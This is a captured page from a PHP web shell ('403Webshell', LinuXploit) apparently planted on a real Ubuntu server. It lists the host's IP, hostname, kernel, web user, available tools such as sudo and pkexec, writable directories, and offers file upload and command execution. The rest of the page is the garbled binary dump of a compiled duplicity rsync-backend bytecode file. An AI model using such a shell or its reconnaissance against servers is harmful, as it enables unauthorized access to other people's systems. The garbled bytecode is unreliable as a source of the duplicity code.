403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/duplicity/backends/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/duplicity/backends/__pycache__/rsyncbackend.cpython-310.pyc
o

��@a�@s�ddlmZddlmZddlZddlZddlZddlZddl	m
Z
ddlmZmZm
Z
Gdd�dejj�Zej�de�ejj�dg�dS)	�)�print_function)�mapN)�InvalidBackendURL)�config�tempdir�utilc@sHeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dS)�RsyncBackendz�Connect to remote store using rsync

    rsync backend contributed by Sebastian Wilhelmi <seppi@seppi.de>
    rsyncd auth, alternate port support
    Copyright 2010 by Edgar Soldin <edgar.soldin@web.de>
    c	CsXtjj�||�	|j}d}dtjvrtjd=|��r2|��\}}d||�	d�f|_
|r1d|}n-|r8|dnd}|j�d�rLd||j�	d	�f|_
nd
||j�	d	�f|_
|j
r_d|j
}|j
dd	krm|j
d	7_
|jr�|��r{|jtjd
<n	|jd|j
|_
d|_|��}|r�|tjd<|��r�|}nd|tjf}tj}d||f|_dS)zrsyncBackend initializer��	RSYNC_RSHz%s::%sz/:z
 --port=%s�:z//z%s/%s�/z%s%sz-p %s����USER�@F�RSYNC_PASSWORDz-e 'ssh %s -oBatchMode=yes %s'zrsync %s %sN)�	duplicity�backend�Backend�__init__�hostname�os�environ�over_rsyncd�get_rsync_path�lstrip�
url_string�path�
startswith�port�username�use_getpass�get_passwordr�ssh_options�
rsync_options�cmd)	�self�
parsed_url�hostrr�host_string�password�
portOption�rsyncOptions�r,�A/usr/lib/python3/dist-packages/duplicity/backends/rsyncbackend.pyr(sB	
�

zRsyncBackend.__init__cCs|jj}t�d|�rdSdS)Nz::[^:]*$TF)r&r�re�search)r%�urlr,r,r-r_szRsyncBackend.over_rsyncdcCsD|jj}t�d|�}|r|�d�|�d��d�fStd|�|���)Nz(:\d+|)?::([^:]*)$��rz"Could not determine rsync path: %s)r&rr.r/�grouprr�munge_password)r%r0�mr,r,r-rfs�zRsyncBackend.get_rsync_pathcCs:t�|�}tj�|j|�}d|j|j|f}|�|�dS�Nz%s %s %s�	r�fsdecoderr�joinrr$�uc_name�subprocess_popen)r%�source_path�remote_filename�remote_path�commandliner,r,r-�_putn�
zRsyncBackend._putcCs:t�|�}tj�|j|�}d|j||jf}|�|�dSr6r7)r%r=�
local_pathr>r?r,r,r-�_gettrAzRsyncBackend._getcCsBdd�}d|j|jf}|�|�\}}}dd�t||�d��D�S)NcSs,|��}t|�dkr|ddkr|dSdS)N��.)�split�len)�str�liner,r,r-rF{sz!RsyncBackend._list.<locals>.splitz%s %scSsg|]	}|rt�|��qSr,)r�fsencode)�.0�xr,r,r-�
<listcomp>�sz&RsyncBackend._list.<locals>.<listcomp>�
)r$rr;rrF)r%rFr?�result�stdout�stderrr,r,r-�_listzszRsyncBackend._listc	Cs"|}g}|��D]}||vr|�|�q|�|�qt��}t����\}}|g}|D]4}t�	|�}t
j�||�}	|�|	�zt
|	d�}
WntyTt||d�Yq+wt||d�|
��q+|��d|j|||jf}|�|�|D]}z	t�t
j|�Wquty�Yquwt
�|�dS)N�w)�filez0%s --recursive --delete --exclude-from=%s %s/ %s)rR�remove�append�tempfile�mkdtempr�default�mkstemp_filerr8rrr9�open�IsADirectoryError�print�closer$rr;�ignore_missing�unlink�rmdir)r%�
filename_list�delete_list�dont_delete_listrT�dir�exclude�exclude_name�	to_deleter�fr?r,r,r-�_delete_list�sB

�
�
�zRsyncBackend._delete_listN)�__name__�
__module__�__qualname__�__doc__rrrr@rCrRrjr,r,r,r-r!s7r�rsync)�
__future__r�builtinsrrr.rW�duplicity.backendr�duplicity.errorsrrrrrrr�register_backend�uses_netloc�extendr,r,r,r-�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit